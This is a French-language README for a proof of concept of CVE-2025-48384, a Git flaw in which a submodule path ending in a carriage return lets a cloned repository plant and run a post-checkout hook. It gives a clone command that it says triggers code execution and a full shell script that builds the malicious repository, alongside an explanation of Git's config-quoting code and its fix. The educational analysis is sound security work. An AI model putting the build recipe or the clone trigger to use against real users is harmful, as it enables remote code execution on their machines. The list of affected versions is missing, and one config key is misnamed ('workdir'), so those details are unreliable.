
PoC CVE-2025-48384
Ce dépôt a été créé à des fins pédagogiques en matière de sécurité.
Veuillez ne pas en faire un usage abusif.
Cette vulnérabilité nécessite que le nom du répertoire contienne \r,
les systèmes Linux/Unix sont donc concernés.
Voici les versions de Git concernées :
Le clonage de ce dépôt avec la commande suivante déclenche également une RCE.
※ Soyez extrêmement prudent lors de l'exécution.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
La commande contenue dans le fichier post-checkout du dépôt de sous-module suivant sera exécutée :
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Créé en référence à ce lien. Deux modifications ont été apportées :
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
Tout d'abord, pourquoi une RCE est-elle réalisée ?
Cette vulnérabilité exploite la fonctionnalité standard des hooks de Git.
Pour expliquer simplement les hooks :
il s'agit d'une fonctionnalité permettant d'exécuter des scripts préconfigurés lorsque certains événements (comme un commit) se produisent.
Cette vulnérabilité utilise le fichier post-checkout situé dans .git, qui est exécuté lors d'un checkout.
Cependant, ce fichier n'est normalement accessible qu'en local, donc un simple clonage d'un dépôt GitHub ne permet pas à un attaquant d'intervenir.
C'est là que la gestion du \r par Git entre en jeu :
en plaçant un fichier post-checkout arbitraire dans ./.git/modules/sub/hooks/ localement, la RCE est réalisée.
post-checkout dans les hooks ?On exploite la manière dont Git traite le \r.
Expliquons brièvement le déroulement dans Git.
D'abord, on utilise git clone --recursive {url} pour cloner un dépôt distant GitHub en local.
(L'option --recursive clone également les sous-modules en même temps.)
À ce moment-là, le sous-module de l'url est déployé dans le répertoire spécifié par le paramètre path dans .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
On modifie le nom du répertoire du paramètre path comme suit :
path = "sub\r"
On définit également le nom du répertoire du sous-module dans le dépôt sur sub\r.
Ainsi, lors de l'exécution de git clone --recursive, Git tente de déployer le sous-module depuis l'url dans le répertoire sub\r conformément au path dans .gitmodules.
(Si le répertoire indiqué par path dans .gitmodules n'existe pas, le sous-module n'est pas déployé.)
Cependant, Git ne se réfère pas à la valeur de path dans .gitmodules pour déterminer le répertoire de déploiement final du sous-module.
Il se réfère finalement au paramètre worktree dans .git/modules/sub/config.
Ce paramètre est écrit en fonction de la valeur de path dans .gitmodules.
Cette écriture est cruciale.
Lorsque path = "sub\r" est écrit dans worktree de .git/modules/sub/config, il prend la forme suivante :
[core]
workdir = ../../../sub\r
Le point important est qu'il n'est pas entouré de guillemets.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Les guillemets ne sont ajoutés que si des espaces se trouvent à des positions spécifiques,
ou si des ; ou # sont présents à un endroit quelconque.
Dans le cas de \r, il n'est pas entouré de guillemets.
Si les guillemets sont absents, Git n'évalue pas le \r final.
Par conséquent, le répertoire de déploiement du sous-module devient ../../../sub.
Comme le nom du sous-module est sub\r, il est possible de créer un fichier nommé sub de n'importe quelle forme (le nom n'entre pas en conflit).
On place ici un lien symbolique, et on redirige le répertoire de déploiement du sous-module vers ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
Le fichier post-checkout, qui est le script de l'attaquant placé dans le sous-module,
peut ainsi être placé dans ./.git/modules/sub/hooks/ sur la machine de la victime et sera exécuté lors du checkout.
Cette attaque fonctionne parce que la gestion du \r diffère à l'intérieur de Git.
.gitmodules, la valeur est entourée de guillemets, donc \r est évalué..git/modules/sub/config, la valeur n'est pas entourée de guillemets, donc \r n'est pas évalué.Dans la version corrigée de Git, la modification suivante a été apportée :
(Ajout de guillemets si \r est présent)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
Une vulnérabilité similaire est CVE-2024-32002.
Cette vulnérabilité concerne les systèmes de fichiers insensibles à la casse (Windows, MacOS, etc.) et,
comme CVE-2025-48384, permet à un attaquant d'intervenir dans les hooks Git via des liens symboliques.
L'article suivant est une référence utile :
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ Si une erreur d'interprétation est présente, n'hésitez pas à me la signaler.